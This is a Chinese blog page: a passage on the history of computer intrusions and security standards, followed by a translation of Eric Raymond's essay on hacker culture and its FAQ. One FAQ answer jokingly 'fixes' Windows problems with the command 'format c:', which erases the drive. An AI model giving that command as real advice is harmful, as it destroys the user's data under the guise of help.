  • IBM 开发并销售基于 Intel 8086 微型处理器的 PC。它是一种相对来说价格较低廉的体系,它把计算机从办公室延伸到了家庭。它使 PC 渐渐成为一种功能比较强大、使用方便、而又普通常见、极易获取的工具,从而促进了这类硬件在蓄意不良用户的家庭和办公场所日益增多。

  • 由 Vint Cerf 开发的传输控制协议被分裂成两个独立的部分。互联网协议(IP)就是从这次分裂中诞生的。被组合在一起的 TCP/IP 协议成为今天所有互联网通信的标准。

  • 基于在电话欺诈(phreaking) – 探索和攻击电话系统 – 方面的发展情况,2600: The Hacker Quarterly 杂志被创办。该杂志开始面向比较广泛的读者听众,讨论入侵计算机和计算机网络之类的课题。

  • 经过九天的自由入侵,414帮会(根据他们居住和攻击基地而命名)非法进入了许多系统,甚至包括像 Los Alamos National Laboratory – 一个核武器研究设施 – 这样的绝密机构,他们终于被有关权力机关清查。

  • Legion of Doom 和 Chaos Computer Club 是两个开始在计算机和电子数据网络中探索弱点的先锋怪客组织。

  • Ian Murphy(又称 Captain Zap)非法进入了军事计算机,从公司商业订单数据库中窃取了信息,使用了被严格限制的政府电话交换台来打电话。由于他的这些入侵活动,美国国会在1986年投票通过了计算机欺诈和滥用法规(Computer Fraud and Abuse Act)。

  • 根据这个法规,法庭才能够因为毕业生罗伯特·莫里斯(Robert Morris)把 Morris Worm 传播给6000多台连接到互联网上的计算机而给他定罪。按照这个法规裁决的另一例著名的案件是 Herbert Zinn。这名高中退学生非法闯入并滥用了属于 AT&T 和美国国防部的系统。

  • 很多人担忧 Morris Worm 事件可能会重演,因此计算机紧急响应组(CERT)被创建来在网络安全问题上给计算机用户报警。

  • Clifford Stoll 编纂了 The Cuckoo’s Egg。它是 Stoll 调查入侵他的系统的怪客的亲身经历。

1.1.2.5. 九十年代

 

  • ARPANet 被关闭。到该网络的交通都被转到互联网上。

  • Linus Torvalds 开发了 Linux 内核以用于 GNU 操作系统;对 Linux 的广泛开发和采用在很大程度上是用户和开发者通过互联网通信的结果。因为它源于 UNIX,Linux 在黑客和管理员中最为流行。他们发现 Linux 对于在运行专有(闭源)操作系统的早期服务器中建构另类安全措施很有帮助。

  • 图形化万维网浏览器被创建,导致对公共互联网访问的需求迅速增加。

  • 范德米尔·列文及其同伙闯入花旗银行的中央数据库,非法地将一千万美元巨额转入几个帐户。列文被 Interpol 逮捕,所有遗失款项都被追回。

  • 凯文·米蒂尼克可能是所有怪客中最为先锋的一个。他闯入了几家大公司的系统,从著名人士的私人信息,两万余张信用卡帐号到软件的源码,他所窃取的信息包罗万象。他被逮捕并以电子贪污定罪,被判处了5年徒刑。

  • 凯文·鲍尔森和一个不知名的同伙操纵了广播电台的电话系统来骗赢汽车和奖金。他以计算机和电子贪污定罪,也被判处了5年徒刑。

  • 非法闯入和电话诈骗的故事已渐渐成为传奇。一些未来的怪客在一年一度的 DefCon 会议中集会庆祝非法入侵并彼此交换见解。

  • 一名19岁的以色列学生被逮捕并以在波斯湾冲突期间多次非法闯入美国政府的系统而定罪。军方人员将其称为是美国历史上对政府系统“最有组织和系统化的攻击”。

  • 为了对在政府系统中日益增多的安全破坏情况采取相应措施,美国司法部长 Janet Reno 组建了国家机构设施保护中心。

  • 英国通讯卫星被未知违法者劫获并绑票。英国政府最终夺回了卫星控制权。

1.1.3. 当前的安全性

在2000年2月,互联网上几个流量最繁忙的站点遭到了一次分布型拒绝服务(DDoS)攻击。这次攻击使 yahoo.com、cnn.com、amazon.com、fbi.gov 和许多其它站点完全无法被正常用户使用,因为它使用大字节的 ICMP 分组传输(又称试通洪流、ping flood)把这些站点的路由器困住了几个小时。一群未知攻击者使用特别创建的、可广泛获取的程序来扫描防守薄弱的网络服务器;在这些服务器上安装叫做特洛伊木马(trojan)的客户程序;然后安排了一个攻击时间,让每个受感染的服务器满负荷地向受害站点发出分组,从而使受害站点变得不可用。许多人把这次攻击怪罪于所用路由器和协议结构中的基础缺陷,因为所用路由器和协议接受所有进入的数据,而不管这些分组是从哪里或为哪些目的而发送来的。

这就把我们带到了新千年中 – 全世界约有9亿4千5百万人使用或使用过互联网(Computer Industry Almanac,2004)。同时:

 

  • 在任意一天内,报告到卡内基-梅隆大学的 CERT 协调中心的主要安全破坏事件约有225起。[1]

  • 在2003年,报告到 CERT 的事件从2001年的52,658起和2002年的82,094起剧增到137,529起。[2]

  • 在过去三年中出现的三个最危险的互联网病毒对世界经济的影响估计约为132亿美元。[3]

计算机安全已经渐渐成为信息工程预算中的一项可以测量而且无可非议的开支。那些要求数据完好性和高可用性的机构借助系统管理员、开发者、和工程师们的技术力量来保证它们的系统、服务和信息的每时每刻的可靠性。成为恶意用户、进程、或协调攻击的受害者是对企事业成功与否的直接威胁。

不幸的是,系统安全和网络安全是一项比较困难的议题,它需要你对某个组织如何对待、使用、处理、以及传输信息有精心深入的了解。理解某个组织(以及组成它的所有人员)的运转方式对于实施正确的安全计划来说至关重要。

1.1.4. 安全标准化

各行各业中的企业都依赖于由制定标准的机构,如美国医疗协会(AMA)或电气和电子工程师学会(IEEE),所设置的法则和规定。信息安全也不例外。许多安全顾问和厂商都认同一个叫做 CIA,或保密性、完好性、和可用性(Confidentiality, Integrity, and Availability)的标准安全模型。这个三层模型是用来评测保密信息所面临的危险以及建立安全政策的被普遍接受的安全标准的一个组成部分。以下详细描述了 CIA 模型:

 

  • 保密性 — 保密信息必须只能够被一组预先限定的人员存取。对这类信息的未经授权的传输和使用应该被严格限制。例如,信息保密性会确保顾客的个人和财务信息不被未经授权的人员获取以用于窃取身份或信用卡贪污之类的不良企图。

  • 完好性 — 信息不应该被能够导致它不完整或不正确的方式改变。未经授权的用户不应该具备修改或破坏保密信息的能力。

  • 可用性 — 信息应该能够被授权的用户在任何需要的时候都可以被存取。可用性是信息能够在规定的时间范围内、按照规定的频率而能够被获取的保证。这通常是按照百分比来衡量的,并且被网络服务器提供者和他们的企业客户使用的服务级别协议(SLA)正式达成协议。

[1]

参考资料:http://www.cert.org

[2]

参考资料:http://www.cert.org/stats/

[3]

参考资料:http://www.newsfactor.com/perl/story/16407.html

13
Feb

如何成为一名黑客

   Posted by: 不存在

原地址:http://www.aka.org.cn/Docs/hacker-howto_2001.html



为什么会有这份文档?

作为 Jargon File 的编辑和一些其他有名的类似性质文章的作者,我经常收到充满热情的网络新手的email提问(确实如此) “我如何才能成为一名出色的黑客?”非常奇怪的是似乎没有任何的FAQ或者Web形式的文档来说明这个十分重要的问题,因此我写了一份。

如果你现在读的是这份文档的离线拷贝,那么请注意当前最新版本(英文版)在 http://www.tuxedo.org/~esr/faqs/hacker-howto.html可以得到。

注意:在这份文档最后有 FAQ(常问问题解答)。请在向我提出任何关于这份文档的疑问之前读两遍。

目前这份文档有很多翻译版本: 保加利亚语简体中文繁体中文丹麦语荷兰语法语德语匈牙利语印尼语日语朝鲜语葡萄牙语俄语瑞典语。注意由于这份文档时有修正,所以以上翻译版本可能有不同程度的过时。


什么是黑客?

Jargon File 包含了一大堆关于“hacker”这个词的定义,大部分与技术高超和热衷解决问题及超越极限有关。但如果你只想知道如何 成为 一名黑客,那么只有两件事情确实相关。

这可以追溯到几十年前第一台分时小型电脑诞生, ARPAnet 实验也刚展开的年代,那时有一个由程序设计专家和网络名人所组成的, 具有分享特点的文化社群。这种文化的成员创造了 “hacker” 这个名词。黑客们建立了 Internet。黑客们发明出了现在使用的 UNIX 操作系统。黑客们使 Usenet 运作起来, 黑客们让 WWW 运转起来。如果你是这个文化的一部分,如果你对这种文化有所贡献,而且这个社群的其它成员也认识你并称你为 hacker, 那么你就是一位黑客。

黑客精神并不仅仅局限在软件的黑客文化中。有人用黑客态度对待其它事情,如电子学和音乐—— 事实上,你可以在任何最高级别的科学和艺术活动中发现它。精于软件的黑客赞赏这些在其他领域的同类并把他们也称作黑客—— 有人宣称黑客天性是绝对独立于他们工作的特定领域的。 但在这份文档中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的以共享为特征的文化传统之上。

有一群人大声嚷嚷着自己是黑客,但他们不是。他们(主要是正值青春的少年)是一些蓄意破坏计算机和电话系统的人。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们又懒又不负责任,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如用铁丝偷开走汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法一直使真正的黑客感到恼火。

根本的区别是:黑客搞建设,骇客搞破坏。

如果你想成为一名黑客,请接着读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在意识到你并不像自己想象的那么聪明后去坐五到十次监狱。关于骇客,我只想说这么多。


黑客应有的态度

黑客们解决问题,建设事物,同时他们崇尚自由和无私的双向帮助。要被他人承认是一名黑客,你的行为得体现出你好像具备了这种态度一般。而要想做得好象你具备这种态度一般,你就得切切实实坚持它。

但是如果你认为培养黑客态度只是一条在黑客文化圈中得到承认的路子,那就大错特错了。成为具备这些特质的这种人对 你自己非常重要——有助于你学习,及给你提供源源不断的动力。同所有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神—— 不仅从智力上,也要从感情上进行模仿。

或许, 下面这首现代的禅诗很好的阐述了这个意思:

    To follow the path:(沿着这样一条道路:)
    look to the master,(寻找大师,)
    follow the master,(跟随大师,)
    walk with the master,(与大师通行,)
    see through the master,(洞察大师,)
    become the master.(成为大师。)

嗯,如果你想成为一名黑客,反复读下面的事情直至你相信它们:


1. 世界充满了待解决的迷人问题。

做一名黑客会有很多乐趣,但却是要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从锻炼身体、超越自我极限的愉悦中得到动力。同样,做黑客,你得能从解决问题,磨练技术及锻炼智力中得到基本的乐趣。

如果你还不是天生的这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他分心的事物吞噬掉——如金钱、性和社会上的虚名。

(同样你必须对你自己的学习能力建立信心——相信尽管当你对某问题近乎一无所知,但只要你一点一点地试验、学习,最终会掌握并解决它。)


2. 一个问题不应该被解决两次。

聪明的脑袋是宝贵的有限的资源。当世界还充满非常多有待解决的有趣的新问题时,它们不应该被浪费在重新发明轮子这类事情上。

作为一名黑客,你必须相信其他黑客的思考时间是宝贵的——因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决 问题而不是不断地忙于对付旧问题。

(你不必认为一定要把你 所有的发明创造公布出去,但这样做的黑客是赢得大家极度尊敬的人。卖些钱来养家糊口,租房买计算机甚至发大财和黑客价值观也是相容的,只要你别忘记你还是个黑客。)


3. 无聊和乏味的工作是罪恶。

黑客(泛指具有创造力的人们)应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情—— 解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,而且是罪恶。

作为一个黑客,你必须坚信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。

(对此有一个明显的例外。黑客有时也做一些在他人看来是重复性或枯燥的工作以进行“脑力休息”,或是为了获得某种技能,或是获得一些除此以外无法获得的特别经验。但这是自愿的——有脑子的人不应该被迫做无聊的活儿。)


4. 自由万岁。

黑客们是天生的反独裁主义者。任何能向你发命令的人能够迫使你停止解决令你着迷的问题,同时,按照独裁者的一般思路,他通常会给出一些极端愚昧的理由。因此,不论何处,任何独裁主义的作法,只要它压迫你和其他黑客,你就要和它斗到底。

(这并非向所有权威挑战。儿童需要监护,罪犯要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客可以同意接受某种形式的权威。但这是一个有限度的,有意的交易;那种权威想要的个人服从不是你应该同意给予的。)

权威喜欢审查和保密。他们不信任自愿的合作和信息的共享—— 他们只喜欢由他们控制的所谓“合作”。因此,作为一个黑客,你得对审查、保密,以及使用武力或欺骗去压迫有行为能力的人们的做法有一种本能的敌意。同时你要有为此信念斗争的意愿。


5. 态度不能替代能力。

作为一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,也不能使你成为一个运动健将和摇滚明星。成为一名黑客需要智力,实践,奉献精神和辛苦工作。

因此,你必须学会怀疑,并尊重各种各样的能力。黑客们不会为那些装模做样的人浪费时间,但他们却非常尊重能力—— 尤其是从事黑客工作的能力,不过任何能力总归是好的。具备很少人能具备的那些方面的能力尤其好,其中具备涉及脑力、技巧和专注方面能力的当然最好。

尊敬能力,你就会享受到提高自己能力的乐趣—— 辛苦的工作和奉献会变成一种高度娱乐而非苦差事。要想成为一名黑客,这一点非常重要。


黑客的基本技能

黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一些基本的技术你必须掌握。

这些基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去内容包括使用机器语言编程,而直到最近才包括了HTML。总的来说现在主要包括以下技术:


1. 学习如何编程。

这当然是最基本的黑客技能。如果你还不会任何编程语言,我建议你从Python开始。它设计清晰,文档齐全,合适初学者入门。它是一门很好的入门语言,并且不仅仅只是个玩具;它非常强大、灵活,也适合做大型项目。我有一篇 Python评价详细说明这点。好的 教程 可以在Python网站得到。(译者:比较好的中文Python站点可能是http://pythonrecord.51.net。)

Java也是好的入门语言。它比Python难得多,但是生成的代码速度也快得多。它同时也是一种优秀的计算机语言,不止是用来入门。

但是注意,如果你只会一两门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个程序员的水平——你需要学会如何以抽象的方式思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种截然不同的语言。

如果要做一些重要的编程工作,你将不得不学习C语言,Unix的核心语言。 C++与C非常其他类似;如果你了解其中一种,学习另一种应该不难。但这两种都不适合编程入门者学习。而且事实上,你越避免用C编程,你的工作效率会越高。

C非常有效率,节约你的机器资源。不幸的是,C的高效是通过你手动做很多底层的管理(如内存)来达到的。底层代码都是复杂极易出现bug的,会使你花极多的时间调试。如今的机器速度如此之快,这通常是得不偿失——比较明智的做法是使用一种运行较慢、较低效率,但大幅节省你的时间的语言。因此,选择Python。

其他对黑客而言比较重要的语言包括 PerlLISP。 Perl实用,值得一学;它被广泛用于动态网页和系统管理,因此即便你从不用Perl写程序,至少也应该学会看。许多人使用Perl的理由和我建议你使用Python的理由一样,都是为了避免用C完成那些不需要C高效率的工作。你会需要理解那些工作的代码的。

LISP值得学习的理由不同——最终掌握了它时你会得到丰富的启迪和经验。这些经验会使你在以后的日子里成为一个更好的程序员,即使你实际上很少使用LISP本身。

当然,实际上你最好五种都会(Python,Java,C/C++,Perl和LISP)。除了是最重要的黑客语言外,它们还代表了截然不同的编程思路和方法,每种都会让你受益非浅。

这里我无法给你完完全全的指导教会你如何编程——这是个复杂的技能。但我可以告诉你,书本和上课也不能作到(最好的黑客中,有许多,也许 几乎都是自学成材的)。你可以从书本上学到语言的特点——只是一些皮毛,但要使书面知识成为自身技能只能通过实践和虚心向他人学习。因此要作到 (一)读代码(二)写代码

学习如何编程就象学习用优美的自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,再读些,再写点…… 如此往复,直到你的文章达到你体会到的范文的简洁和力量。

过去找到适合阅读的好的代码是困难的,因为几乎没有大型程序的源代码能让新手练手。这种状况已经戏剧性地发生变化;开放源代码软件,编程工具和操作系统(全都由黑客写成)现在已经随处可见。让我们在下一个话题中继续讨论……


2. 得到一个开放源代码的Unix并学会使用、运行它。

我假设你已经拥有或者能使用一台个人电脑(今天的孩子们真幸福 :-) )。新手们能够朝学习黑客技能迈出的最基本的一步就是得到一份Linux或BSD-Unix的一种,安装在个人电脑上,并运行它。

没错,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发布的——你无法读到它的源代码,也不可能修改它。尝试在运行DOS或Windows或MacOS的机器上学习黑客技术,就象是带着脚镣学跳舞。

除此之外,Unix还是Internet的操作系统。你可以学会上网却不知道Unix,但你不了解Unix就无法成为一名Internet黑客。因此,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此一直很不高兴,但Unix和Internet之间的联系已是如此之强,甚至连Microsoft也无可奈何。)

所以, 安装一套UNIX——我个人喜爱LINUX但还有其他种类的(是的,你可以同时安装Linux及DOS/Windows在同一电脑上)。学习它,使用它,配置它。用它在Internet上冲浪。阅读它的源代码。修改它的源代码。你会得到比在Microsoft操作系统上更好的编程工具(包括C,LISP,Python及Perl)。你会觉得乐趣无穷,学到在你成为大师之前意识不到的更多的知识。

想知道更多关于学习Unix的信息,访问 The Loginataka

想知道如何得到一份Linux,访问 我在哪里可以获得Linux。(译者:对于中文读者来讲,最简单的方式未过于前往附近的D版/正版光盘店。)

你可以在 www.bsd.org找到BSD Unix的求助及其他资源。

我有写一篇关于 Unix和Internet基础的入门文章。

(注:如果你是一个新手,我不推荐自己独立安装Linux或者BSD。安装Linux的话,寻求本地Linux用户组的帮助;或联系 Open Projects Network。 LISC维护着一些 IRC频道,在那里你可以获得帮助。)


3. 学会如何使用WWW和写HTML

黑客文化建造的大多东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对非黑客的普通人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习掌握Web。

这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML, Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先完成一个主页。(网上有很多好的教程; 这是一个。)

但仅仅拥有一个主页不能使你成为一名黑客。 Web里充满了各种网页。大多数是毫无意义的,零信息量垃圾——界面时髦的垃圾,注意,垃圾的水准都类似(更多信息访问 The HTML Hell Page)。

要想有价值,你的网页必须有内容—— 它必须有趣或对其它黑客有帮助。这是下一个话题所涉及的……


4. 如果你不懂实用性的英语,学习吧。

作为一个美国人和一个以英语为母语的人,我以前很不情愿提到这点,免得成为一种文化上的帝国主义。但相当多以其他语言为母语的人一直劝我指出这一点,那就是英语是黑客文化和Internet的工作语言,你需要懂得以便在黑客社区顺利工作。

这一点千真万确。大概1991年的时候我就了解到许多黑客在技术讨论中使用英语,甚至当他们的母语都相同,英语对他们而言只是第二语言的时候;据我知道的报导,当前英语有着比其他语言丰富得多的技术词汇,因此是一个对于工作来说相当好的工具。基于类似的原因,英文技术书籍的翻译通常不令人满意(如果有翻译的话)。

Linus Torvalds,一个芬兰人,用英语注释他的代码(很明显这对他来说不是凑巧)。他流利的英语成为他能够管理全球范围的Linux开发人员社区的重要因素。这是一个值得学习的例子。


黑客文化中的地位

象大部分不涉及金钱的文化一样,黑客王国靠声誉运转。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要由那些和你具有同样技术水平的人或比你更厉害的人去评判的。

相应地,当你在玩黑客游戏时,你得认识到你的分数主要靠其他黑客对你的技术的评价给出(这就是为什么只有在其它黑客称你为黑客时,你才算得上是一名黑客)。这个事实常会被黑客是一项孤独的工作这一印象所减弱;也会被另一个黑客文化的禁忌所减弱(现在逐渐减弱但仍强大):拒绝承认自我或外部评估与一个人的动力有关系。

特别地,黑客王国被人类学家们称为一种奉献文化。 在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的创造和你的技术成果。

要获得其他黑客的尊敬,基本上有五种事情你可以干:


1. 写开放源代码软件

第一个(也是最集中的和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序源代码提供给整个黑客文化使用。

(过去我们称之为“free software (自由软件)”,但这却使很多不知 free 的精确含义的人感到困惑。现在我们很多人,根据搜索引擎网页内容分析至少有2:1的比率,使用“ open-source”software(开放源代码软件)这个词)。

黑客王国里最受尊敬的偶像是那些写了大型的、好用的、具有广泛用途的软件,并把它们公布出去,使得每人都在使用他软件的人。


2. 帮助测试并调试开放源代码软件

黑客也尊敬那些使用、测试开放源代码软件的人。在这个并非完美的世界上,我们不可避免地要花大多数的开发时间在调试阶段。 这就是为什么任何有头脑的开放源代码的作者都会告诉你好的beta测试员(知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布中的bug,并且愿意使用一些简单的诊断工具)象红宝石一样珍贵。 甚至他们中的一个能判断出哪个测试阶段是延长的,哪个是令人精疲力尽的噩梦,哪个只是一个有益的小麻烦。

如果你是个新手,试着找一个你感兴趣的正在开发的程序,做一个好的beta测试员。你会自然地从帮着测试,进步到帮着抓臭虫,到最后帮着改程序。你会从中学到很多,并且与未来会帮你的人结下友谊。


3. 公布有用的信息

另一个好事是收集整理有用有趣的信息做成网页或文档如FAQ列表,且让他们容易获得。

主要技术FAQ的维护者受到几乎同其他开放源代码的作者一样多的尊敬。


4. 帮助维护基础设施的运转

黑客文化(还有Internet的工程方面的发展,就此而言)是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成——管理mail list,新闻组,维护大型软件库,开发RFC和其它技术标准等等。

做这类事情的人会得到很多尊敬,因为每人都知道这些事情是十分花时间又不象编程那样好玩。做这些事情需要奉献精神。


5. 为黑客文化本身服务

最后,你可以为这个文化本身做宣传(例如,象我这样,写一个“如何成为黑客”的正面的教程 :-) )(译者:不知道Barret把它翻成中文算不算?)。这并非一定要在你已经在这个圈子呆了很久,因以上四点中的某点而出名,有一定声誉后才能去做。

黑客文化没有领袖。精确地说,它确实有些文化英雄、部落长者、历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。记住:黑客们不相信他们的部落长者的自夸的炫耀,因此大举追求这种名誉是危险的。与其奋力追求,不如先摆正自己的位置等它自己到你的手中——那时则要做到谦虚和优雅。


黑客和书呆子(Nerd)的联系

同流行的迷思相反,做一名黑客并不一定要你是个书呆子。但它确实有帮助,而且许多黑客事实上是书呆子。做一个深居简出的人有助于你集中精力进行十分重要的事情,如思考和编程。

因此,很多黑客都愿意接受“书呆子”这个外号,更有甚者使用更尖刻的“geek(怪人)”一词并引以为豪—— 这是一种宣布他们独立于主流社会的声明方式。访问 The Geek Page 参加更多的讨论。

如果你能集中足够的精力做好黑客工作同时还能有正常的生活,这很好。现在作到这一点比我在1970年代是新手的时候要容易的多;如今主流文化对技术怪人要友善的多。甚至有越来越多的人意识到黑客通常是很好的恋人和配偶的材料。

如果你因为生活上不如意而迷上做黑客,那也没什么——至少你不会分神了。或许以后你会找到自己的另一半。


风格的意义

重申一下,作为一名黑客,你必须进入黑客精神之中。当你不在计算机边上时,你仍然有很多对黑客工作有帮助的事情可做。它们并不能替代真正的编程(没有什么能),但很多黑客都那么做,并感到它们与黑客的本质存在某些基本的连系。

 

  • 学会流畅地用母语写作。尽管程序员不能写好文章的错误看法相当普遍,但是有令人惊讶数目的黑客(包括所有我知道的最棒的)都是不错的作家。

  • 阅读科幻小说。参加科幻小说讨论会。(一个碰到黑客和未来会成为黑客的人的好方法)

  • 学禅,并且/或者练功习武。(精神修炼看来是惊人相似。)

  • 练就能分析音乐的听觉,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。

  • 提高对双关语、文字游戏的鉴赏能力。

这些事情,你已经做的越多,你就越是天生做黑客的材料。至于为什么偏偏是这些事情,原因并不完全清楚,但它们都涉及用到左-右脑能力的综合,这似乎是关键所在(黑客们既需要清晰的逻辑思维,有时又需要偏离逻辑跳出问题的表象)。

最后,还有一些要去做的事情。

 

  • 不要使用愚蠢的,哗众取宠的ID或昵称。

  • 不要卷入Usenet(或其他地方的论坛)的骂战。

  • 不要自称为“cyberpunk(网络叛客)”,也不要浪费时间和那些人打交道。

  • 不要让你寄出的Email或张贴的帖子充满错误的拼写和乱七八糟的语法。

做以上的事情,只会招来嘲笑。黑客们个个记忆超群—— 你将需要数年的时间让他们忘记你犯下的错误。

网名的问题值得深思。将身份隐藏在虚假的名字后是骇客、解密者、d00dz 及其他低等生物幼稚愚蠢的行为特点。黑客不会做这些事;他们对他们所作的感到骄傲,而且乐于人们将作品与他们的 名相联系。因此, 若你现在用假名,放弃它。在黑客文化里它会令你你失败的。


其它资源

Peter Seebach 维护着一个非常好的 Hacker FAQ,专给那些不懂如何与黑客打交道的经理看的。如果Peter的站点不能访问,下面这个 Excite搜索应该有一份拷贝。

我也著有 黑客文化简史

我写了一份 大教堂与市集,对于Linux及开放源代码文化现象有详细的解释。我也在这个话题上进一步阐述导致的结局—— 开拓智域

Rick Moen写了一份很好的关于 如何运转一个Linux用户组的文档。

我和Rick Moen合作完成了另一份关于 提问的智慧的文章,可以让你事半功倍的获得帮助。

如果你想知道PC、UNIX及Internet基本概念和工作原理,参考 The Unix and Internet Fundamentals HOWTO

当你释放出一个软件或为其打补丁,试着按 软件发行惯例 HOWTO去做。(以上的提到的文章的中文版大多都可以在www.aka.org.cn和www.linuxforum.net找到。)


FAQ(常问问题解答)

问:你能教我做黑客吗?
问:那么,我要如何开始?
问:我得什么时候开始学?现在会不会太迟了?
问:要学多久才能学会黑客道?
问:Visual Basic及Delphi是好的入门语言吗?
问:你能帮我“黑”掉一个站点吗?或者教我怎么黑它?
问:我怎么样才能得到别人帐号的密码?
问:我如何入侵/查看/监视别人的Email?
问:我如何才能在IRC聊天室里偷到频道op的特权?
问:我被黑了。你能帮我避免以后再被攻击吗?
问:我的Windows软件出现问题了。你能帮我吗?
问:我在哪里能找到可以与之交流的真正的黑客?
问:你能推荐一些有关黑客的好书吗?
问:成为一名黑客我需要擅长数学吗?
问:我该从那种语言学起?
问:我需要什么样的机器配置?
问:我得因此憎恨和反对Microsoft吗?
问:但开放源代码软件不会使程序员丢饭碗吗?
问:我要如何开始?哪里有免费的Unix?

问:你能教我做黑客吗?

答:自从第一次发布这份文档,我每周都会收到一些请求,(频繁的话一天几封)要我“教会他们做黑客”。遗憾的是,我没有时间和精力来做这个;我自己的黑客项目,及我作为一个开放源代码倡导者的四处奔波已经占用了我110%的时间。

即便我想教你,黑客也依然基本上是一项自行修炼的的态度和技术。当真正的黑客想帮助你的时候,如果你乞求他们一汤匙一汤匙“喂”你的话,你会发现他们不会尊重你。

先去学一些东西。显示你在尝试,你能靠自己去学习。然后再去向你遇到的黑客请教特殊的问题。

如果你发E-mail给一位黑客寻求他的帮助,这是两件首要记住的事情。第一,写出来的文字显得懒且粗心的人通常非常懒于思考且非常马大哈,不能成为好黑客—— 因此注意拼写正确,使用正确的语法及发音,否则你可能会无人理睬。第二,不要试图要求回复到一个ISP帐号,而那个帐号与你的发信地址不同。这样做的人一般是使用盗用帐号,不会有人有兴趣为虎作伥帮助窃贼的。

问:那么,我要如何开始?

答:对你而言最佳的入门方式也许是去参加LUG(Linux用户组)的聚会。你可以找到在 LDP的综合Linux信息页面上找到类似的组织;也许有一个在你家附近的,而且非常有可能与一所大学或学校挂钩。如果你提出要求,LUG成员兴许会给你一套Linux,当然此后会帮你安装并带你入门。

问:我得什么时候开始学?现在会不会太迟了?

答:你有动力学习的时候就是好时候。大多数人看来都是在15-20岁之间开始感兴趣的,但据我所知,在此年龄段之外的例外也是有的。

问:要学多久才能学会黑客道?

答:这取决于你的聪明程度和努力程度。大多数人只要他们专注,就能在18个月到2年之间学会一套令人尊敬的技能。但是,不要以为就此结束了;如果你是一个真正的黑客,你要用你的余生来学习和完善你的技术。

问:Visual Basic及Delphi是好的入门语言吗?

答:不,因为他们不是可移植的。他们不是那些语言的开放源代码实现,所以你被限制在厂商选择支持的那些平台里。接受这样一种垄断局面不是黑客的态度。

Visual Basic特别糟糕。它是Microsoft的私有语言这个事实就足够让它脸面全无,不像其他的Basic,它是一种设计糟糕的语言会教给你坏的编程习惯。

其中一个坏习惯是会依赖于单一厂商的函数库、控件及开发工具。一般而言,任何不能够支持至少Linux或者一种BSD,或其他第三方操作系统的语言,都是一种不适合应付黑客工作的语言。

问:你能帮我“黑”掉一个站点吗?或者教我怎么黑它?

答:No。任何读完这份FAQ后还问这个问题的人,都是无可救药的蠢材,即使有时间指教我也不会理睬。任何发给我的此类E-mail都会被忽略或被痛骂一顿。

问:我怎么样才能得到别人帐号的密码?

答:这是骇客行为。滚得远远的,白痴。

问:我如何入侵/查看/监视别人的Email?

答:这是骇客行为。在我面前消失,混蛋。

问:我如何才能在IRC聊天室里偷到频道op的特权?

答:这是骇客行为。去S吧,冥顽不灵的家伙。

问:我被黑了。你能帮我避免以后再被攻击吗?

答:不行。目前为止,每次问我这个问题的,都是一些运行Microsoft Windows的菜鸟。不可能有效的保护Windows系统免受骇客攻击;太多缺陷的代码和架构使保护Windows的努力有如隔靴搔痒。唯一可靠的预防来自转移到Linux或其他设计得至少足够安全的系统。

问:我的Windows软件出现问题了。你能帮我吗?

答:当然。进入DOS方式,然后键入“format c:”。你遇到的任何问题将会在几分钟之内消失。

问:我在哪里能找到可以与之交流的真正的黑客?

答:最佳办法是在你附近找一个Unix或Linux的用户组,参加他们的聚会。(你可以在Metalab的LDP站点找到一些指向用户组的链接。)

我过去曾说过不能在IRC上找到真正的黑客,但我发觉现在情况有所改变。显然一些真正的黑客的社区像GIMP及Perl,也有IRC频道了。)

问:你能推荐一些有关黑客的好书吗?

答:我维护着一份Linux Reading List HOWTO,也许你会觉得有用。 Loginataka也很有意思。

关于Python的介绍,请访问在Python站点上的 入门资料

问:成为一名黑客我需要擅长数学吗?

答:不用。黑客道很少使用常规的数学或算术,不过你绝对需要能逻辑性地思考和进行精密的推理。

尤其是你不会用到微积分或电路分析(我们把这些留给电子工程师们 :-) )。 一些有限数学(包括布尔代数,集合论,组合数学,图论)的背景知识会有帮助。

问:我该从那种语言学起?

答:HTML——如果你还不懂的话。市面上有一大堆的封面精美,宣传得天花乱坠的 糟糕的 HTML书籍,不幸的是很少有好的。我最喜欢的是 HTML: The Definitive Guide

